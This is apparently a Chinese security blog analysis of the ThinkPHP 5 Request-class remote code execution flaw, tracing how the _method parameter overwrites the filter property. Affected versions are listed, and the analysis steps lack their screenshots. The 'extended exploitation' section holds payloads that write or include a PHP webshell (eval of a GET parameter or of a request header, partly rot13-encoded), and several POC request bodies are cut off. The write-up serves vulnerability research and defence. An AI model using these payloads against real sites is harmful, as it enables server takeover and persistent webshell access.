ThinkPHP5核心Request类导致的RCE
简介
Thinphp团队在实现框架中的核心类Requests的method方法实现了表单请求类型伪装,默认为$_POST['_method']变量,却没有对$_POST['_method']属性进行严格校验,可以通过变量覆盖掉Requets类的属性并结合框架特性实现对任意函数的调用达到任意代码执行的效果。
影响版本
5.0.0<=ThinkPHP<=5.0.235.1.0<=ThinkPHP<=5.1.31
本文中分析以5.0为例,主要分为两种
5.0.0<=ThinkPHP<=5.0.125.0.13<=ThinkPHP<=5.0.23
在低版本中不存在利用上的限制,
在高版本中需要开启debug或者存在验证码的路由
POC
5.0.0<=ThinkPHP<=5.0.12
无限制
1 | POST /?s=index/index |
5.0.13<=ThinkPHP<=5.0.23
需要路由
1 | POST /?s=captcha/calc |
漏洞分析
低版本分析
以5.0.10为例
代码流程
首先在开启debug的时候会直接在下面的箭头处触发RCE,这里我们先把debug关掉

跟进routeCheck方法
这里会调用Route类得check方法

跟进check方法
这里会调用Request类的method方法

跟进method方法
通过POST接受一个参数,这个接受的参数名为_method,根据接受到的参数值,取调用方法
核心漏洞点就是这个,由于没有对参数进行限制导致可以调用__construct,初始化filter变量

跟进__construct方法

但此时注意,这只是设置了filter的值,还需要取调用
最终导致RCE的位置在filterValue中

此方法被input方法调用,input方法被多个方法调用

可以看到,如果开启debug的情况下,直接就可以在1处触发RCE

但在未开启的情况下,需要跟进exec方法
在此方法中调用了module方法

在module中会加载控制器

controller方法中会反射一个类

在invokeClass方法中调用了bindParams方法

最终调用param方法触发RCE

调用堆栈

复现

高版本分析对比
以5.0.20为例
代码分析
为什么,在不开debug的时候无法利用呢?
刚刚我们知道,在app的run方法调用routeCheck方法设置了filter的值
然后调用exec,继而调用module方法,最终出发了RCE
这个过程中,未对我们设置的filter进行处理
但是在较高版本中的module方法中
在调用Loader加载控制器之前对filter进行了置空操作

为什么存在验证码路由的时候可以呢?
既然module行不通,那就换其他的分支,比如controller或者method

那么这个type值怎么才能是这个呢
全局搜索

查看调用

继续跟进
可以看到是在Route的check方法中调用的

如果存在这个路由别名,就可以了,但是我的测试环境不存在,就不加了,主要知道为什么就好
$roules为空的时候一切免谈
扩展利用
其实到目前为止已经存在很多的利用方式
比如,调用\think\__include_file或者调用Lang的load方法取文件包含
或者一些其他的关于文件写入的
这里提几个payload
调用Build类的module方法写文件
产生错误
poc
1 | POST /index.php?s=captcha |
访问地址
127.0.0.1/123".phpinfo();/controller/Index.php
不产生错误
poc
1 | POST /index.php?s=captcha |
访问地址
127.0.0.1/%3f><%3fphp eval($_GET[a]);%3f>/controller/Index.php?a=phpinfo();
php过滤器+rot13绕过
poc1
1 | b=../public/./<?cuc riny(trgnyyurnqref()["pzq"]);?>&_method=__construct&filter=think\Build::moudle&a=1&method=GET |
poc2
1 | b=php://filter/read=string.rot13/resource=./<?cuc riny(trgnyyurnqref()["pzq"]);?>/controller/Index.php&_method=__construct&filter=think\__include_file&a=1&method=GET |
代码执行
这个个人比较喜欢
具体就是调用set_error_handler重置了框架的异常处理函数,返回值不可控的情况下调用Request的path函数
在初始化的时候通过post的path传参重置了$this->path变量,导致调用path方法的返回值成为可控值
poc
1 | POST /index.php?s=captcha&g=implode |
end
参考












